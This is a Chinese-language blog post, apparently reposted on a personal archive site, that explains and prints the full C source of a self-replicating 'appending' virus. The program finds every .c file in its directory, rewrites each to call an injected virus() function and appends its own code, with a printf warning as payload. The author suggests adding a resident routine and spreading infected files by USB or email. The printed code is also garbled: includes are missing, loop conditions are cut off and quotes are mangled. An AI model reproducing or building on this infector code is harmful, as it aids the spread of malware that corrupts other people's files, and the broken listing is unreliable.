分享

C语言小病毒

 0673cc 2017-03-07

  1

  对于电脑病毒,我们都深恶痛绝。俗话说“知己知彼,方能百战百胜”。为了避免病毒的伤害,我们必须要研究一下病毒是怎么来的。

  病毒的特点:

  病毒的最大特点就是自我复制,从病毒的分类来说有很多种,这里我们将介绍最流行的附加式

  病毒,它通过对正常的文件进行改写,增加来实现其自我复制的目的。

  从程序的角度来说,我们要做的事情有两件:

  1,让程序能够将自己在不影响其它程序本身工作的情况下复制给其它程序,

  使它具备继续复制的能力。

  2,在一定条件下使其产生某种发作效果。

  其实第一件事情实际上可以看成对文件进行复制,把病毒源文件的功能函数全部放到被感染

  文件的最后,同时在被感染文件中调用这个函数

  下面给出c语言的实现过程:

  1,主程序调用病毒功能函数

  2,病毒功能函数读取查找同目录下所有c文件;

  3,找到一个(被感染c文件),打开它,并且将此文件全部读取到数组变量;

  4,重新创建一个同名文件(被感染c文件)

  5,数组变量写回这个被感染c文件,同时将病毒源文件所需要的头文件,病毒功能函数

  调用语句写入;

  6,打开病毒源文件,将病毒功能函数全部写到被感染c文件的最后;

  这样一个简单的c语言伪病毒virus.c就完成了

  运行程序后其内容变化另保存为after_virus.c

  此时,如果我们将1.c文件用U盘复制到其他机器或者Email给别人,结果

  他们一运行又感染了他们保存1.c文件目录下所有c文件

  对于第二件事情-------“发作效果”,这里只用printf语句警告了一下,当然你

  完全可以写一个TSR驻留函数

  其实,这个程序勉强可以叫做病毒

  根本不算是真正的病毒,好了就说这么多


  2

  代码如下:

  #include

  #include

  void main(void)

  {

  virus();

  }

  int virus()

  {

  struct ffblk ffblk;

  FILE *in,*out,*read;

  char *virus='virus.c';

  char buf[50][80];

  char *p;

  char *end='return';

  char *bracket='}';

  char *main='main';

  char *include[2]={'stdio.h','dir.h'};

  char *int_virus='int virus()';

  char *buffer;

  int done,i,j=0,flag=0;

  printf('\nI have a virus. Writen by PuBin\n');

  done = findfirst('*.c',&ffblk,0);

  while (!done)

  {

  i=0;

  if ((in = fopen(ffblk.ff_name, 'rt'))== NULL)

  {

  goto next;

  }

  do{

  if(i>=50)

  {

  fclose(in);

  goto next;

  }

  p=fgets(buf[i],80,in);

  i++;

  }while(p!=NULL);

  fclose(in);

  out=fopen(ffblk.ff_name,'w+t');

  fputs('#include\n',out);

  fputs('#include\n',out);

  do

  {

  if(strstr(buf[j],main)!=NULL)

  {

  for(;j

  if(strstr(buf[j],end)==NULL&&strstr(buf[j],bracket)==NULL)

  fputs(buf[j],out);

  else

  {

  if(flag==0)

  {

  flag=1;

  fputs('virus();\n',out);

  }

  fputs(buf[j],out);

  }

  }

  else if((strstr(buf[j],include[0])==NULL)

  &&(strstr(buf[j],include[1])==NULL))

  {

  fputs(buf[j],out);

  j++;

  }

  else

  j++;

  }while(j

  read=fopen(virus,'rt');

  do

  {

  p=fgets(buffer,80,read);

  if(strstr(buffer,int_virus))

  while(p!=NULL)

  {

  if(strstr(buffer,virus)==NULL)

  fputs(buffer,out);

  else

  {

  fputs(' char *virus=\'',out);

  fputs(ffblk.ff_name,out);

  fputs('\';\n',out);

  }

  p=fgets(buffer,80,read);

  }

  }while(p!=NULL);

  fclose(read);

  fclose(out);

  printf('\nYour c program %s has a virus. Writen by PuBin\n',ffblk.ff_name);

  next: done = findnext(&ffblk);

  }

  return 0;

  }


  3

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多